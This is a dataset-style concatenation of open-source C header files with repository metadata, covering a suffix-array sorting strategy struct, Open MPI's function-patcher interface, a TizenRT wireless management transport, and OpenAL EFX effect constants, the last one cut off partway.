|
UTF-8
|
C
| false
| false
| 2,784
|
h
|
sfx-strategy.h
|
/*
Copyright (c) 2007 Stefan Kurtz <kurtz@zbh.uni-hamburg.de>
Copyright (c) 2007 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifndef SFX_STRATEGY_H
#define SFX_STRATEGY_H
#include <inttypes.h>
#include <stdbool.h>
#define MAXINSERTIONSORTDEFAULT 3UL
#define MAXBLTRIESORTDEFAULT 1000UL
#define MAXCOUNTINGSORTDEFAULT 4000UL
typedef struct
{
GtUword maxwidthrealmedian,
maxinsertionsort,
maxbltriesort,
maxcountingsort;
unsigned int differencecover,
userdefinedsortmaxdepth,
spmopt_minlength;
bool cmpcharbychar, /* compare suffixes character by character instead
of comparing entire words (only for two bit
encoding) */
storespecialcodes,
iteratorbasedkmerscanning,
suftabuint,
onlybucketinsertion,
kmerswithencseqreader,
dccheck,
samplewithprefixlengthnull,
noshortreadsort,
outsuftabonfile,
compressedoutput,
withradixsort;
} Sfxstrategy;
/*@unused@*/ static inline void defaultsfxstrategy(Sfxstrategy *sfxstrategy,
bool cmpcharbychar)
{
sfxstrategy->maxwidthrealmedian = 1UL;
sfxstrategy->maxinsertionsort = MAXINSERTIONSORTDEFAULT;
sfxstrategy->maxbltriesort = MAXBLTRIESORTDEFAULT;
sfxstrategy->maxcountingsort = MAXCOUNTINGSORTDEFAULT;
sfxstrategy->differencecover = 0;
sfxstrategy->cmpcharbychar = cmpcharbychar;
sfxstrategy->spmopt_minlength = 0;
sfxstrategy->storespecialcodes = false;
sfxstrategy->iteratorbasedkmerscanning = false;
sfxstrategy->suftabuint = false;
sfxstrategy->onlybucketinsertion = false;
sfxstrategy->kmerswithencseqreader = false;
sfxstrategy->dccheck = false;
sfxstrategy->samplewithprefixlengthnull = false;
sfxstrategy->outsuftabonfile = true;
sfxstrategy->noshortreadsort = false;
sfxstrategy->compressedoutput = false;
sfxstrategy->withradixsort = false;
sfxstrategy->userdefinedsortmaxdepth = 0;
}
#endif
|
3be4a3dc5ff0be69d981eedea9538873a37f3710
|
e814383d36a10839104efaa4df277996ab220fa3
|
/opal/mca/patcher/patcher.h
|
8779a583f77da95b10b5cba03ab87ed22975bf70
|
[
"mpich2",
"BSD-3-Clause-Open-MPI"
] |
permissive
|
open-mpi/ompi
|
a1d7483ae1d83dd8fd8ae3ee95e832e0a0ee04e3
|
1edfdb025c4450f694600083ad871cf06c8d45cd
|
refs/heads/main
| 2023-09-01T01:30:02.040705
| 2023-08-29T17:32:18
| 2023-08-29T17:32:18
| 24,107,001
| 2,008
| 973
|
NOASSERTION
| 2023-09-14T20:59:26
| 2014-09-16T16:08:30
|
C
|
UTF-8
|
C
| false
| false
| 4,050
|
h
|
patcher.h
|
/* -*- Mode: C; c-basic-offset:4 ; indent-tabs-mode:nil -*- */
/*
* Copyright (c) 2016 Los Alamos National Security, LLC. All rights
* reserved.
* Copyright (c) 2022 Amazon.com, Inc. or its affiliates.
* All Rights reserved.
* $COPYRIGHT$
*
* Additional copyrights may follow
*
* $HEADER$
*/
#ifndef OPAL_MCA_PATCHER_PATCHER_H
#define OPAL_MCA_PATCHER_PATCHER_H
#include "opal_config.h"
#include "opal/class/opal_list.h"
#include "opal/mca/base/base.h"
#include "opal/mca/mca.h"
#include "opal/opal_portable_platform.h"
/* Any function being patched in as a hook must use SYMBOLPATCH_BEGIN at the top,
* and SYMBOLPATCH_END before it returns (this is just for PPC). */
#if defined(PLATFORM_ARCH_POWERPC) && defined(PLATFORM_ARCH_64)
/* special processing for ppc64 to save and restore TOC (r2)
* Reference: "64-bit PowerPC ELF Application Binary Interface Supplement 1.9" */
# define OPAL_PATCHER_BEGIN \
unsigned long toc_save; \
asm volatile("std 2, %0" : "=m"(toc_save)); \
asm volatile("nop; nop; nop; nop; nop");
# define OPAL_PATCHER_END asm volatile("ld 2, %0" : : "m"(toc_save));
#else /* !__PPC64__ */
# define OPAL_PATCHER_BEGIN
# define OPAL_PATCHER_END
#endif
/**
* Make any calls to the named function redirect to a new function
*
* @param[in] func_symbol_name function to hook
* @param[in] func_new_addr function pointer of hook
* @param[out] func_old_addr address of func_symbol_name
*
* This function redirects all calls to the function func_symbol_name to
* the function pointer func_new_addr. If it is possible for the hook
* function to call the original function the patcher module will return
* the old function's address in func_old_addr.
*/
typedef int (*mca_patcher_base_patch_symbol_fn_t)(const char *func_symbol_name,
uintptr_t func_new_addr,
uintptr_t *func_old_addr);
/**
* Make any calls to a function redirect to a new function
*
* @param[in] func_symbol_name function to hook
* @param[in] func_new_addr function pointer of hook
* @param[out] func_old_addr address of func_symbol_name
*
* This function redirects all calls to the function at func_addr to
* the function pointer func_new_addr.
*/
typedef int (*mca_patcher_base_patch_address_fn_t)(uintptr_t func_addr, uintptr_t func_new_addr);
/**
* Set up the patcher module
*/
typedef int (*mca_patcher_base_init_fn_t)(void);
/**
* Finalize the patcher module
*/
typedef int (*mca_patcher_base_fini_fn_t)(void);
/**
* Structure for patcher modules.
*/
typedef struct mca_patcher_base_module_t {
mca_base_module_t super;
/** list of patches */
opal_list_t patch_list;
/** lock for patch list */
opal_mutex_t patch_list_mutex;
/** function to call if the patcher module is used. can
* be NULL. */
mca_patcher_base_init_fn_t patch_init;
/** function to call when patcher is unloaded. this function
* MUST clean up all active patches. can be NULL. */
mca_patcher_base_fini_fn_t patch_fini;
/** hook a symbol. may be NULL */
mca_patcher_base_patch_symbol_fn_t patch_symbol;
/** hook a function pointer. may be NULL */
mca_patcher_base_patch_address_fn_t patch_address;
} mca_patcher_base_module_t;
OPAL_DECLSPEC extern mca_patcher_base_module_t *opal_patcher;
/**
* Structure for patcher components.
*/
typedef struct mca_patcher_base_component_1_0_0_t {
/** MCA base component */
mca_base_component_t patcherc_version;
/** MCA base data */
mca_base_component_data_t patcherc_data;
} mca_patcher_base_component_1_0_0_t;
typedef mca_patcher_base_component_1_0_0_t mca_patcher_base_component_t;
/*
* Macro for use in components that are of type patcher
*/
#define OPAL_PATCHER_BASE_VERSION_1_0_0 OPAL_MCA_BASE_VERSION_2_1_0("patcher", 1, 0, 0)
#endif /* OPAL_MCA_PATCHER_PATCHER_H */
|
8bf9ee79e7716b9d2a0a12de1efdf633f315db18
|
0744dcc5394cebf57ebcba343747af6871b67017
|
/os/drivers/wireless/scsc/misc/mxmgmt_transport.h
|
6a3c220edc04a475bfa6ba9380822bbd8b5d0449
|
[
"GPL-1.0-or-later",
"BSD-3-Clause",
"ISC",
"MIT",
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-other-permissive",
"Apache-2.0"
] |
permissive
|
Samsung/TizenRT
|
96abf62f1853f61fcf91ff14671a5e0c6ca48fdb
|
1a5c2e00a4b1bbf4c505bbf5cc6a8259e926f686
|
refs/heads/master
| 2023-08-31T08:59:33.327998
| 2023-08-08T06:09:20
| 2023-08-31T04:38:20
| 82,517,252
| 590
| 719
|
Apache-2.0
| 2023-09-14T06:54:49
| 2017-02-20T04:38:30
|
C
|
UTF-8
|
C
| false
| false
| 4,261
|
h
|
mxmgmt_transport.h
|
/*****************************************************************************
*
* Copyright 2017 Samsung Electronics All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied. See the License for the specific
* language governing permissions and limitations under the License.
*
****************************************************************************/
/**
* mx140 management transport (Interface)
*
* Provides bi-directional communication between the firmware and the
* host. Messages sent across the transport are divided into a
* number of channels, with each channel having its own dedicated handler.
*
* This interface also provides a utility method for sending messages across
* the stream.
*/
#ifndef MXMANAGEMENT_TRANSPORT_H__
#define MXMANAGEMENT_TRANSPORT_H__
/** Uses */
//#include <sys/wait.h>
#include <sys/types.h>
#include <tinyara/kthread.h>
#include "mifstream.h"
struct mxmgmt_transport;
/**
* The various channels that can send messages
* across the transport.
*
* Channel IDs are limited to one byte.
*/
enum mxmgr_channels {
MMTRANS_CHAN_ID_MAXWELL_MANAGEMENT = 0,
MMTRANS_CHAN_ID_SERVICE_MANAGEMENT = 1,
MMTRANS_CHAN_ID_MAXWELL_LOGGING = 2,
MMTRANS_NUM_CHANNELS = 3
};
/**
* Transport channel callback handler. This will be invoked each time a message on a channel is
* received in the context of the transport stream's thread. Handlers may perform work within
* their callback implementation, but should not block.
*
* Note that the message pointer passed is only valid for the duration of the function call.
*/
typedef void (*mxmgmt_channel_handler)(const void *message, void *data);
/**
* Registers the callback function that will be invoked to handle data coming in from the AP
* for the given channel.
*/
void mxmgmt_transport_register_channel_handler(struct mxmgmt_transport *mxmgmt_transport, enum mxmgr_channels channel_id, mxmgmt_channel_handler handler, void *data);
/**
* Sends a message to the AP across the given channel.
*
* This function is safe to call from any RTOS thread.
*/
void mxmgmt_transport_send(struct mxmgmt_transport *mxmgmt_transport, enum mxmgr_channels channel_id, void *message, uint32_t message_length);
/**
* Initialises the maxwell management transport and configures the necessary
* interrupt handlers. Called once during boot.
*/
int mxmgmt_transport_init(struct mxmgmt_transport *mxmgmt_transport, struct scsc_mx *mx);
void mxmgmt_transport_release(struct mxmgmt_transport *mxmgmt_transport);
/*
* Initialises the configuration area incl. Maxwell Infrastructure Configuration,
* MIF Management Transport Configuration and MIF Management Stream Configuration.
*/
void mxmgmt_transport_config_serialise(struct mxmgmt_transport *mxmgmt_transport, struct mxtransconf *trans_conf);
void mxmgmt_transport_set_error(struct mxmgmt_transport *mxmgmt_transport);
#define MXMGMT_THREAD_NAME_MAX_LENGTH 32
struct mxmgmt_thread {
//struct task_struct *task;
//pthread_t workertid; /* Handle for the worker thread */
pthread_t selecttid; /* Handle for the select thread */
int task;
char name[MXMGMT_THREAD_NAME_MAX_LENGTH];
int prio;
//struct completion completion;
pthread_barrier_t barrier;
unsigned int wakeup_flag;
/*
* Use it to block the I/O thread when
* an error occurs.
*/
int block_thread;
sem_t selectsem; /* Used to sleep the select thread */
};
struct mxmgmt_transport {
struct scsc_mx *mx;
struct mif_stream mif_istream;
struct mif_stream mif_ostream;
struct mxmgmt_thread mxmgmt_thread;
/** Registered channel handlers for messages coming from the AP for each channel */
mxmgmt_channel_handler channel_handler_fns[MMTRANS_NUM_CHANNELS];
void *channel_handler_data[MMTRANS_NUM_CHANNELS];
pthread_mutex_t channel_handler_mutex;
};
#endif /* MXMANAGEMENT_TRANSPORT_H__ */
|
159d2f605d728f520e1e5ad48034e5c679382fb6
|
32c333bf52770efc280bde8d55bb9cbf87c3cea7
|
/Dev/Cpp/EffekseerSoundAL/AL/include/AL/efx.h
|
b47332f37dea4ff82936819263cea161b70bfaf3
|
[
"LicenseRef-scancode-nvidia-2002",
"BSD-3-Clause",
"GPL-3.0-only",
"GPL-3.0-or-later",
"Bison-exception-2.2",
"MIT",
"Apache-2.0",
"BSD-2-Clause",
"GD",
"MS-PL",
"OFL-1.1",
"LicenseRef-scancode-warranty-disclaimer",
"IJG",
"LicenseRef-scancode-khronos",
"Zlib"
] |
permissive
|
effekseer/Effekseer
|
1b5688b9a9f3b7b7ab8e7e9f032361c37cc81237
|
28aabbc761e626e3cc0bf9c3e723d2b6294f1f1b
|
refs/heads/master
| 2023-09-01T05:17:47.656236
| 2023-08-27T01:08:08
| 2023-08-27T01:08:08
| 13,696,235
| 1,241
| 233
|
MIT
| 2023-08-25T12:36:16
| 2013-10-19T05:47:35
|
C++
|
UTF-8
|
C
| false
| false
| 32,096
|
h
|
efx.h
|
#ifndef __efx_h_
#define __efx_h_
#ifdef __cplusplus
extern "C" {
#endif
#define ALC_EXT_EFX_NAME "ALC_EXT_EFX"
/**
* Context definitions to be used with alcCreateContext.
* These values must be unique and not conflict with other
* al context values.
*/
#define ALC_EFX_MAJOR_VERSION 0x20001
#define ALC_EFX_MINOR_VERSION 0x20002
#define ALC_MAX_AUXILIARY_SENDS 0x20003
/**
* Listener definitions to be used with alListener functions.
* These values must be unique and not conflict with other
* al listener values.
*/
#define AL_METERS_PER_UNIT 0x20004
/**
* Source definitions to be used with alSource functions.
* These values must be unique and not conflict with other
* al source values.
*/
#define AL_DIRECT_FILTER 0x20005
#define AL_AUXILIARY_SEND_FILTER 0x20006
#define AL_AIR_ABSORPTION_FACTOR 0x20007
#define AL_ROOM_ROLLOFF_FACTOR 0x20008
#define AL_CONE_OUTER_GAINHF 0x20009
#define AL_DIRECT_FILTER_GAINHF_AUTO 0x2000A
#define AL_AUXILIARY_SEND_FILTER_GAIN_AUTO 0x2000B
#define AL_AUXILIARY_SEND_FILTER_GAINHF_AUTO 0x2000C
/**
* Effect object definitions to be used with alEffect functions.
*
* Effect parameter value definitions, ranges, and defaults
* appear farther down in this file.
*/
/* Reverb Parameters */
#define AL_REVERB_DENSITY 0x0001
#define AL_REVERB_DIFFUSION 0x0002
#define AL_REVERB_GAIN 0x0003
#define AL_REVERB_GAINHF 0x0004
#define AL_REVERB_DECAY_TIME 0x0005
#define AL_REVERB_DECAY_HFRATIO 0x0006
#define AL_REVERB_REFLECTIONS_GAIN 0x0007
#define AL_REVERB_REFLECTIONS_DELAY 0x0008
#define AL_REVERB_LATE_REVERB_GAIN 0x0009
#define AL_REVERB_LATE_REVERB_DELAY 0x000A
#define AL_REVERB_AIR_ABSORPTION_GAINHF 0x000B
#define AL_REVERB_ROOM_ROLLOFF_FACTOR 0x000C
#define AL_REVERB_DECAY_HFLIMIT 0x000D
/* Chorus Parameters */
#define AL_CHORUS_WAVEFORM 0x0001
#define AL_CHORUS_PHASE 0x0002
#define AL_CHORUS_RATE 0x0003
#define AL_CHORUS_DEPTH 0x0004
#define AL_CHORUS_FEEDBACK 0x0005
#define AL_CHORUS_DELAY 0x0006
/* Distortion Parameters */
#define AL_DISTORTION_EDGE 0x0001
#define AL_DISTORTION_GAIN 0x0002
#define AL_DISTORTION_LOWPASS_CUTOFF 0x0003
#define AL_DISTORTION_EQCENTER 0x0004
#define AL_DISTORTION_EQBANDWIDTH 0x0005
/* Echo Parameters */
#define AL_ECHO_DELAY 0x0001
#define AL_ECHO_LRDELAY 0x0002
#define AL_ECHO_DAMPING 0x0003
#define AL_ECHO_FEEDBACK 0x0004
#define AL_ECHO_SPREAD 0x0005
/* Flanger Parameters */
#define AL_FLANGER_WAVEFORM 0x0001
#define AL_FLANGER_PHASE 0x0002
#define AL_FLANGER_RATE 0x0003
#define AL_FLANGER_DEPTH 0x0004
#define AL_FLANGER_FEEDBACK 0x0005
#define AL_FLANGER_DELAY 0x0006
/* Frequencyshifter Parameters */
#define AL_FREQUENCY_SHIFTER_FREQUENCY 0x0001
#define AL_FREQUENCY_SHIFTER_LEFT_DIRECTION 0x0002
#define AL_FREQUENCY_SHIFTER_RIGHT_DIRECTION 0x0003
/* Vocalmorpher Parameters */
#define AL_VOCAL_MORPHER_PHONEMEA 0x0001
#define AL_VOCAL_MORPHER_PHONEMEA_COARSE_TUNING 0x0002
#define AL_VOCAL_MORPHER_PHONEMEB 0x0003
#define AL_VOCAL_MORPHER_PHONEMEB_COARSE_TUNING 0x0004
#define AL_VOCAL_MORPHER_WAVEFORM 0x0005
#define AL_VOCAL_MORPHER_RATE 0x0006
/* Pitchshifter Parameters */
#define AL_PITCH_SHIFTER_COARSE_TUNE 0x0001
#define AL_PITCH_SHIFTER_FINE_TUNE 0x0002
/* Ringmodulator Parameters */
#define AL_RING_MODULATOR_FREQUENCY 0x0001
#define AL_RING_MODULATOR_HIGHPASS_CUTOFF 0x0002
#define AL_RING_MODULATOR_WAVEFORM 0x0003
/* Autowah Parameters */
#define AL_AUTOWAH_ATTACK_TIME 0x0001
#define AL_AUTOWAH_RELEASE_TIME 0x0002
#define AL_AUTOWAH_RESONANCE 0x0003
#define AL_AUTOWAH_PEAK_GAIN 0x0004
/* Compressor Parameters */
#define AL_COMPRESSOR_ONOFF 0x0001
/* Equalizer Parameters */
#define AL_EQUALIZER_LOW_GAIN 0x0001
#define AL_EQUALIZER_LOW_CUTOFF 0x0002
#define AL_EQUALIZER_MID1_GAIN 0x0003
#define AL_EQUALIZER_MID1_CENTER 0x0004
#define AL_EQUALIZER_MID1_WIDTH 0x0005
#define AL_EQUALIZER_MID2_GAIN 0x0006
#define AL_EQUALIZER_MID2_CENTER 0x0007
#define AL_EQUALIZER_MID2_WIDTH 0x0008
#define AL_EQUALIZER_HIGH_GAIN 0x0009
#define AL_EQUALIZER_HIGH_CUTOFF 0x000A
/* Effect type */
#define AL_EFFECT_FIRST_PARAMETER 0x0000
#define AL_EFFECT_LAST_PARAMETER 0x8000
#define AL_EFFECT_TYPE 0x8001
/* Effect type definitions to be used with AL_EFFECT_TYPE. */
#define AL_EFFECT_NULL 0x0000 /* Can also be used as an Effect Object ID */
#define AL_EFFECT_REVERB 0x0001
#define AL_EFFECT_CHORUS 0x0002
#define AL_EFFECT_DISTORTION 0x0003
#define AL_EFFECT_ECHO 0x0004
#define AL_EFFECT_FLANGER 0x0005
#define AL_EFFECT_FREQUENCY_SHIFTER 0x0006
#define AL_EFFECT_VOCAL_MORPHER 0x0007
#define AL_EFFECT_PITCH_SHIFTER 0x0008
#define AL_EFFECT_RING_MODULATOR 0x0009
#define AL_EFFECT_AUTOWAH 0x000A
#define AL_EFFECT_COMPRESSOR 0x000B
#define AL_EFFECT_EQUALIZER 0x000C
/**
* Auxiliary Slot object definitions to be used with alAuxiliaryEffectSlot functions.
*/
#define AL_EFFECTSLOT_EFFECT 0x0001
#define AL_EFFECTSLOT_GAIN 0x0002
#define AL_EFFECTSLOT_AUXILIARY_SEND_AUTO 0x0003
/**
* Value to be used as an Auxiliary Slot ID to disable a source send..
*/
#define AL_EFFECTSLOT_NULL 0x0000
/**
* Filter object definitions to be used with alFilter functions.
*/
/* Lowpass parameters. */
#define AL_LOWPASS_GAIN 0x0001
#define AL_LOWPASS_GAINHF 0x0002
/* Highpass Parameters */
#define AL_HIGHPASS_GAIN 0x0001
#define AL_HIGHPASS_GAINLF 0x0002
/* Bandpass Parameters */
#define AL_BANDPASS_GAIN 0x0001
#define AL_BANDPASS_GAINLF 0x0002
#define AL_BANDPASS_GAINHF 0x0003
/* Filter type */
#define AL_FILTER_FIRST_PARAMETER 0x0000
#define AL_FILTER_LAST_PARAMETER 0x8000
#define AL_FILTER_TYPE 0x8001
/* Filter type definitions to be used with AL_FILTER_TYPE. */
#define AL_FILTER_NULL 0x0000 /* Can also be used as a Filter Object ID */
#define AL_FILTER_LOWPASS 0x0001
#define AL_FILTER_HIGHPASS 0x0002
#define AL_FILTER_BANDPASS 0x0003
/**
* Effect object functions.
*/
/* Create Effect objects. */
typedef void (__cdecl *LPALGENEFFECTS)( ALsizei n, ALuint* effects );
/* Delete Effect objects. */
typedef void (__cdecl *LPALDELETEEFFECTS)( ALsizei n, ALuint* effects );
/* Verify a handle is a valid Effect. */
typedef ALboolean (__cdecl *LPALISEFFECT)( ALuint eid );
/* Set an integer parameter for an Effect object. */
typedef void (__cdecl *LPALEFFECTI)( ALuint eid, ALenum param, ALint value);
typedef void (__cdecl *LPALEFFECTIV)( ALuint eid, ALenum param, ALint* values );
/* Set a floating point parameter for an Effect object. */
typedef void (__cdecl *LPALEFFECTF)( ALuint eid, ALenum param, ALfloat value);
typedef void (__cdecl *LPALEFFECTFV)( ALuint eid, ALenum param, ALfloat* values );
/* Get an integer parameter for an Effect object. */
typedef void (__cdecl *LPALGETEFFECTI)( ALuint eid, ALenum pname, ALint* value );
typedef void (__cdecl *LPALGETEFFECTIV)( ALuint eid, ALenum pname, ALint* values );
/* Get a floating point parameter for an Effect object. */
typedef void (__cdecl *LPALGETEFFECTF)( ALuint eid, ALenum pname, ALfloat* value );
typedef void (__cdecl *LPALGETEFFECTFV)( ALuint eid, ALenum pname, ALfloat* values );
/**
* Filter object functions
*/
/* Create Filter objects. */
typedef void (__cdecl *LPALGENFILTERS)( ALsizei n, ALuint* filters );
/* Delete Filter objects. */
typedef void (__cdecl *LPALDELETEFILTERS)( ALsizei n, ALuint* filters );
/* Verify a handle is a valid Filter. */
typedef ALboolean (__cdecl *LPALISFILTER)( ALuint fid );
/* Set an integer parameter for a Filter object. */
typedef void (__cdecl *LPALFILTERI)( ALuint fid, ALenum param, ALint value );
typedef void (__cdecl *LPALFILTERIV)( ALuint fid, ALenum param, ALint* values );
/* Set a floating point parameter for an Filter object. */
typedef void (__cdecl *LPALFILTERF)( ALuint fid, ALenum param, ALfloat value);
typedef void (__cdecl *LPALFILTERFV)( ALuint fid, ALenum param, ALfloat* values );
/* Get an integer parameter for a Filter object. */
typedef void (__cdecl *LPALGETFILTERI)( ALuint fid, ALenum pname, ALint* value );
typedef void (__cdecl *LPALGETFILTERIV)( ALuint fid, ALenum pname, ALint* values );
/* Get a floating point parameter for a Filter object. */
typedef void (__cdecl *LPALGETFILTERF)( ALuint fid, ALenum pname, ALfloat* value );
typedef void (__cdecl *LPALGETFILTERFV)( ALuint fid, ALenum pname, ALfloat* values );
/**
* Auxiliary Slot object functions
*/
/* Create Auxiliary Slot objects. */
typedef void (__cdecl *LPALGENAUXILIARYEFFECTSLOTS)( ALsizei n, ALuint* slots );
/* Delete Auxiliary Slot objects. */
typedef void (__cdecl *LPALDELETEAUXILIARYEFFECTSLOTS)( ALsizei n, ALuint* slots );
/* Verify a handle is a valid Auxiliary Slot. */
typedef ALboolean (__cdecl *LPALISAUXILIARYEFFECTSLOT)( ALuint slot );
/* Set an integer parameter for a Auxiliary Slot object. */
typedef void (__cdecl *LPALAUXILIARYEFFECTSLOTI)( ALuint asid, ALenum param, ALint value );
typedef void (__cdecl *LPALAUXILIARYEFFECTSLOTIV)( ALuint asid, ALenum param, ALint* values );
/* Set a floating point parameter for an Auxiliary Slot object. */
typedef void (__cdecl *LPALAUXILIARYEFFECTSLOTF)( ALuint asid, ALenum param, ALfloat value );
typedef void (__cdecl *LPALAUXILIARYEFFECTSLOTFV)( ALuint asid, ALenum param, ALfloat* values );
/* Get an integer parameter for a Auxiliary Slot object. */
typedef void (__cdecl *LPALGETAUXILIARYEFFECTSLOTI)( ALuint asid, ALenum pname, ALint* value );
typedef void (__cdecl *LPALGETAUXILIARYEFFECTSLOTIV)( ALuint asid, ALenum pname, ALint* values );
/* Get a floating point parameter for a Auxiliary Slot object. */
typedef void (__cdecl *LPALGETAUXILIARYEFFECTSLOTF)( ALuint asid, ALenum pname, ALfloat* value );
typedef void (__cdecl *LPALGETAUXILIARYEFFECTSLOTFV)( ALuint asid, ALenum pname, ALfloat* values );
/**********************************************************
* Filter ranges and defaults.
*/
/**
* Lowpass filter
*/
#define LOWPASS_MIN_GAIN 0.0f
#define LOWPASS_MAX_GAIN 1.0f
#define LOWPASS_DEFAULT_GAIN 1.0f
#define LOWPASS_MIN_GAINHF 0.0f
#define LOWPASS_MAX_GAINHF 1.0f
#define LOWPASS_DEFAULT_GAINHF 1.0f
/**
* Highpass filter
*/
#define HIGHPASS_MIN_GAIN 0.0f
#define HIGHPASS_MAX_GAIN 1.0f
#define HIGHPASS_DEFAULT_GAIN 1.0f
#define HIGHPASS_MIN_GAINLF 0.0f
#define HIGHPASS_MAX_GAINLF 1.0f
#define HIGHPASS_DEFAULT_GAINLF 1.0f
/**
* Bandpass filter
*/
#define BANDPASS_MIN_GAIN 0.0f
#define BANDPASS_MAX_GAIN 1.0f
#define BANDPASS_DEFAULT_GAIN 1.0f
#define BANDPASS_MIN_GAINHF 0.0f
#define BANDPASS_MAX_GAINHF 1.0f
#define BANDPASS_DEFAULT_GAINHF 1.0f
#define BANDPASS_MIN_GAINLF 0.0f
#define BANDPASS_MAX_GAINLF 1.0f
#define BANDPASS_DEFAULT_GAINLF 1.0f
/**********************************************************
* Effect parameter structures, value definitions, ranges and defaults.
*/
/**
* AL reverb effect parameter ranges and defaults
*/
#define AL_REVERB_MIN_DENSITY 0.0f
#define AL_REVERB_MAX_DENSITY 1.0f
#define AL_REVERB_DEFAULT_DENSITY 1.0f
#define AL_REVERB_MIN_DIFFUSION 0.0f
#define AL_REVERB_MAX_DIFFUSION 1.0f
#define AL_REVERB_DEFAULT_DIFFUSION 1.0f
#define AL_REVERB_MIN_GAIN 0.0f
#define AL_REVERB_MAX_GAIN 1.0f
#define AL_REVERB_DEFAULT_GAIN 0.32f
#define AL_REVERB_MIN_GAINHF 0.0f
#define AL_REVERB_MAX_GAINHF 1.0f
#define AL_REVERB_DEFAULT_GAINHF 0.89f
#define AL_REVERB_MIN_DECAY_TIME 0.1f
#define AL_REVERB_MAX_DECAY_TIME 20.0f
#define AL_REVERB_DEFAULT_DECAY_TIME 1.49f
#define AL_REVERB_MIN_DECAY_HFRATIO 0.1f
#define AL_REVERB_MAX_DECAY_HFRATIO 2.0f
#define AL_REVERB_DEFAULT_DECAY_HFRATIO 0.83f
#define AL_REVERB_MIN_REFLECTIONS_GAIN 0.0f
#define AL_REVERB_MAX_REFLECTIONS_GAIN 3.16f
#define AL_REVERB_DEFAULT_REFLECTIONS_GAIN 0.05f
#define AL_REVERB_MIN_REFLECTIONS_DELAY 0.0f
#define AL_REVERB_MAX_REFLECTIONS_DELAY 0.3f
#define AL_REVERB_DEFAULT_REFLECTIONS_DELAY 0.007f
#define AL_REVERB_MIN_LATE_REVERB_GAIN 0.0f
#define AL_REVERB_MAX_LATE_REVERB_GAIN 10.0f
#define AL_REVERB_DEFAULT_LATE_REVERB_GAIN 1.26f
#define AL_REVERB_MIN_LATE_REVERB_DELAY 0.0f
#define AL_REVERB_MAX_LATE_REVERB_DELAY 0.1f
#define AL_REVERB_DEFAULT_LATE_REVERB_DELAY 0.011f
#define AL_REVERB_MIN_AIR_ABSORPTION_GAINHF 0.892f
#define AL_REVERB_MAX_AIR_ABSORPTION_GAINHF 1.0f
#define AL_REVERB_DEFAULT_AIR_ABSORPTION_GAINHF 0.994f
#define AL_REVERB_MIN_ROOM_ROLLOFF_FACTOR 0.0f
#define AL_REVERB_MAX_ROOM_ROLLOFF_FACTOR 10.0f
#define AL_REVERB_DEFAULT_ROOM_ROLLOFF_FACTOR 0.0f
#define AL_REVERB_MIN_DECAY_HFLIMIT AL_FALSE
#define AL_REVERB_MAX_DECAY_HFLIMIT AL_TRUE
#define AL_REVERB_DEFAULT_DECAY_HFLIMIT AL_TRUE
/**
* AL chorus effect parameter ranges and defaults
*/
#define AL_CHORUS_MIN_WAVEFORM 0
#define AL_CHORUS_MAX_WAVEFORM 1
#define AL_CHORUS_DEFAULT_WAVEFORM 1
#define AL_CHORUS_WAVEFORM_SINUSOID 0
#define AL_CHORUS_WAVEFORM_TRIANGLE 1
#define AL_CHORUS_MIN_PHASE (-180)
#define AL_CHORUS_MAX_PHASE 180
#define AL_CHORUS_DEFAULT_PHASE 90
#define AL_CHORUS_MIN_RATE 0.0f
#define AL_CHORUS_MAX_RATE 10.0f
#define AL_CHORUS_DEFAULT_RATE 1.1f
#define AL_CHORUS_MIN_DEPTH 0.0f
#define AL_CHORUS_MAX_DEPTH 1.0f
#define AL_CHORUS_DEFAULT_DEPTH 0.1f
#define AL_CHORUS_MIN_FEEDBACK (-1.0f)
#define AL_CHORUS_MAX_FEEDBACK 1.0f
#define AL_CHORUS_DEFAULT_FEEDBACK 0.25f
#define AL_CHORUS_MIN_DELAY 0.0f
#define AL_CHORUS_MAX_DELAY 0.016f
#define AL_CHORUS_DEFAULT_DELAY 0.016f
/**
* AL distortion effect parameter ranges and defaults
*/
#define AL_DISTORTION_MIN_EDGE 0.0f
#define AL_DISTORTION_MAX_EDGE 1.0f
#define AL_DISTORTION_DEFAULT_EDGE 0.2f
#define AL_DISTORTION_MIN_GAIN 0.01f
#define AL_DISTORTION_MAX_GAIN 1.0f
#define AL_DISTORTION_DEFAULT_GAIN 0.05f
#define AL_DISTORTION_MIN_LOWPASS_CUTOFF 80.0f
#define AL_DISTORTION_MAX_LOWPASS_CUTOFF 24000.0f
#define AL_DISTORTION_DEFAULT_LOWPASS_CUTOFF 8000.0f
#define AL_DISTORTION_MIN_EQCENTER 80.0f
#define AL_DISTORTION_MAX_EQCENTER 24000.0f
#define AL_DISTORTION_DEFAULT_EQCENTER 3600.0f
#define AL_DISTORTION_MIN_EQBANDWIDTH 80.0f
#define AL_DISTORTION_MAX_EQBANDWIDTH 24000.0f
#define AL_DISTORTION_DEFAULT_EQBANDWIDTH 3600.0f
/**
* AL echo effect parameter ranges and defaults
*/
#define AL_ECHO_MIN_DELAY 0.0f
#define AL_ECHO_MAX_DELAY 0.207f
#define AL_ECHO_DEFAULT_DELAY 0.1f
#define AL_ECHO_MIN_LRDELAY 0.0f
#define AL_ECHO_MAX_LRDELAY 0.404f
#define AL_ECHO_DEFAULT_LRDELAY 0.1f
#define AL_ECHO_MIN_DAMPING 0.0f
#define AL_ECHO_MAX_DAMPING 0.99f
#define AL_ECHO_DEFAULT_DAMPING 0.5f
